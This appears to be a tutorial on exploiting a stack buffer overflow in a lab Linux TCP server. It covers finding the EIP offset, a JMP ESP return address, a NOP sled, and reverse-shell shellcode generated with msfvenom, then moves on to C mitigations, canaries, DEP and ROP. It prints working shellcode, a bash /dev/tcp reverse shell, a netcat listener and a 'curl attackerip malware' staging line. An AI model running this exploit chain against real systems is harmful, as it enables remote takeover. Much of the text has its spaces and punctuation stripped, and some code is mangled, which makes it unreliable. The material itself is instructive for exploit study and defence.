WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther

python-cprintx41366+x42366+x43184+x4462+x4562+x4662

AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer

Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip

python-cprintx411000+x4225+x4325+x4425+x4525

That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere

up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that

mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos

python-cprintx411000+x4225+x438+x448+x459

Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers

are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens

python-cprintx411000+x4225+x438+x448+x454+x464

Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore

onestepaway

python-cprintx411000+x4225+x438+x447+x454+x464

BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer

Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the

crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to

find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer

to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because

Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from

right-to-leftrelativetotheorderyousuppliedthedata

FindingInstructionPointerthefastway

Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your

taught to use this program without learning the manual way then you may not understand what and why exactly you are using the

program

httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb

Soourfuzzertoldusthecrashhappenedatapproximately1100bytes

rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb

rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100

This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this

command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers

and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb

outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP

Example

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0

Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6

Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7

Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1

Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2

Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf

4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk

YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236

Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP

value

usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236

Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis

python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample

Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands

Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a

bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode

python-cprintx901040+x454+x904

Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs

Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect

thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545

MESSAGE=x901040+x454+x901000

Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly

x45454545

Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our

NOPSletsruntheattackwiththefollowinglogicintheclientpy

MESSAGE=x901040+x454+x901000

Letrsquosswitchsomethingsupandtryanewdebuggerhellip

1 Server1337

2 Fromterminal2rarredb

3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo

4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)

5 UpdateyourclientPoCcode

6 pythonclientPoCpy1337

CodeChanges

malware=(x41100)

eip=x424

ending=x90200

nopsled=(x90(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly

Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand

corner

Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points

to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At

memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware

Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump

intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor

aJMPESPopcodetofindamemorylocationwiththatinstruction

1 runthevulnerableserver

2 startupedbdebuggerandattackthevulnerableserver

3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP

4 Manuallysearchthrougheachloadedbinaryandclicksearch

0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU

tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder

So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the

futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun

Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow

binsh-igtampdevtcp12700144440gtamp1

Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in

one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It

lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)

The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate

a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and

not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there

isanaddedlayerofcomplexity

LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes

ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs

NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general

sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as

register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often

abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine

codeinstructionsrdquo

So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But

when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing

the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work

helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos

So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters

commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it

any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the

registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip

PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip

binsh-igtampdevtcp12700144440gtamp1

encodesto

x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x

2fx34x34x34x34x20x30x3ex26x31

Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly

from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a

simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX

To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86

encodedcommandthatthekernelcaninterpret

binsh-igtampdevtcp12700144440gtamp1

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

x86encodedShellCode

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01

xd8x7dxf3xdcx9b

TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully

understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally

worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders

- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform

- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina

singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos

ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is

malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced

- f=formathellipThatcanberawCJSPshelletcetc

- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore

- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere

Wheredoweputourmalware

While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the

clientpyscriptputtingthemalwarebeforeEIPlookslikethis

NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS

Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is

important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left

manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior

because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory

address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and

unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto

HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow

malware=x41x30

eip=x97xcfxfaxb7

eip=x41x41x41x41

ending=x90200

nopsled=(x41(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then

look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote

with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register

pointertojumpintothenopsled

One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that

specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that

can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out

bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo

for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell

codeaftertheEIPsowecanjumpintoESP

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip

x86encodedShellCodewBadCharacters(Fornextsection)

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01

xd8x7dxf3xdcx9bx00x00

Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade

UpdatedclientpyCodewiththeldquoBadCharactercoderdquo

Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the

clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and

overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a

connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection

willfail

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or

WHOIScommandsLetrsquosinvestigate

1 RightclickEIPinRegisterWindowsrarrFollowinDump

2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending

3 Lookforx00commandsandtrytonoticeanythingorstrange

WhattheTargetMachineSees

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

